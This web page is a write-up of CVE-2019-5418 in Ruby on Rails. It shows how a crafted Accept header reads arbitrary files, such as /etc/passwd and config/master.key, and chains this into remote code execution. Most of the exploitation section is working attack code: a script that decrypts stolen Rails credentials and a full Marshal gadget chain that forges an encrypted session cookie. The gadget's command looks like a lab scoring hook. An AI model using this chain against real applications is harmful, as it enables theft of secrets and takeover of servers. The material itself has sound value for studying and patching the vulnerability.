Skip to main content

CVE-2019-5418: Ruby on Rails Accept Header File Disclosure to RCE

CVE-2019-5418 is a critical vulnerability affecting Ruby on Rails applications running in development mode.
It allows arbitrary file read via a crafted Accept header when the application uses render file:.

When combined with Rails’ encrypted credentials and session handling, this bug can be chained into full remote code execution (RCE).

This vulnerability is especially dangerous because:

  • It abuses HTTP headers, often overlooked by WAFs
  • It leaks Rails secrets
  • It can lead to session forgery and deserialization attacks

Affected Components​

  • Ruby on Rails (development mode)

  • Controllers using:

    render file: "..."
  • Applications using cookie-based sessions

  • Applications with hybrid session serialization enabled

Root Cause​

Trusting the Accept Header​

Rails internally uses the Accept header to resolve templates and formats.
In vulnerable versions, this value is concatenated directly into a filesystem glob without sanitization.

This creates a directory traversal primitive.

Vulnerable Code:

# cve-2019-5418.rb
class UserController < ApplicationController
def index
render file: "#{Rails.root}/some/file"
end
end

Vulnerable Behavior​

When Rails processes:

Accept: text/html

It effectively resolves:

app/views/controller/action.html.erb

But when an attacker supplies:

Accept: ../../../../../../../../etc/passwd{{

Rails will:

  • Treat it as a valid glob
  • Traverse directories
  • Attempt to load arbitrary files

Exploitation Chain​

This vulnerability is not standalone RCE. It becomes critical when chained properly.

Attack Flow​
  1. Abuse Accept header to read arbitrary files like so:

  1. We can leak ../../config/master.key{{ and ../../config/credentials.yml.enc{{.
  2. Decrypt credentials using master.key using following code:
require "base64"
require "openssl"

@cipher = "aes-128-gcm"
credentials = File.read("credentials.yml.enc").strip
@key = [File.read("master.key").strip].pack("H*")

puts @key.bytesize # should print 16 for aes-128-gcm

def new_cipher
OpenSSL::Cipher.new(@cipher)
end

def b64decode(s)
s = s.to_s.strip
# support urlsafe base64 too (just in case)
s = s.tr("-_", "+/")
# add missing padding
s += "=" * ((4 - s.length % 4) % 4)
Base64.strict_decode64(s)
end

def decrypt(value)
cipher = new_cipher

encrypted_b64, iv_b64, tag_b64 = value.strip.split("--", 3)
encrypted_data = b64decode(encrypted_b64)
iv = b64decode(iv_b64)
auth_tag = b64decode(tag_b64)

cipher.decrypt
cipher.key = @key
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""

cipher.update(encrypted_data) + cipher.final
end

puts decrypt(credentials) ## should give us 'secret_key_base'.
  1. Decrypt session cookie.
  2. Identify serializer (JSON, Marshal, or hybrid)
  3. Forge a malicious session using following code (example for Marshal):
#!/usr/bin/env ruby
require 'openssl'
require 'base64'

# ========================
# === STEP 1: Build the RCE Marshal gadget (Gem::StubSpecification chain)
# ========================
class Gem::StubSpecification
def initialize; end
end

stub_specification = Gem::StubSpecification.new
# Your requested payload — executes this command on deserialization
stub_specification.instance_variable_set(:@loaded_from, "|/usr/local/bin/score cd295747-490c-4623-b03a-d89a4bb6193b 1>&2") # 1>&2 to see output in logs/errors if blind

class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

$dependency_list = Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

# The gadget payload — Marshal-serialized object that triggers RCE on load
gadget_payload = Marshal.dump(Gem::Requirement.new)

puts "[+] Gadget built. Size: #{gadget_payload.bytesize} bytes"

# ========================
# === STEP 2: Encrypt like Rails does (AES-256-GCM)
# ========================
# REPLACE THIS with the real secret you stole via CVE-2019-5418
# (secret_key_base from credentials/master.key, or old secrets.yml)
secret_key_base = "9568c43bf9ee6f3a2363a20308318cd5d68f39881712407d871ef9409e8b8151c821e778ba99bc977e14d05bf88b6c42219358be99de0962e82ca6098888d909" # ← PUT REAL SECRET HERE!

salt = "authenticated encrypted cookie"
iterations = 1000 # Older Rails used 1000; newer use 2**16=65536 — try both if unsure
key_len = 32 # 256 bits

# Derive the encryption key (like ActiveSupport::KeyGenerator)
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(secret_key_base, salt, iterations, key_len)

cipher = OpenSSL::Cipher.new("aes-256-gcm")
cipher.encrypt
cipher.key = key
iv = cipher.random_iv # Rails uses random IV each time
cipher.auth_data = "" # No AAD usually for cookies

# Encrypt the gadget
encrypted = cipher.update(gadget_payload) + cipher.final
auth_tag = cipher.auth_tag

# Rails cookie format: base64(ciphertext)--base64(iv)--base64(auth_tag)
cookie_value = [
Base64.strict_encode64(encrypted),
Base64.strict_encode64(iv),
Base64.strict_encode64(auth_tag)
].join("--")

puts "\n[+] Forged encrypted cookie (ready to set as _yourapp_session or similar):"
puts cookie_value

puts "\nBase64 of the whole thing (sometimes apps base64 the cookie again):"
puts Base64.encode64(cookie_value)
  1. Replace the session cookie that then triggers deserialization which leads to RCE.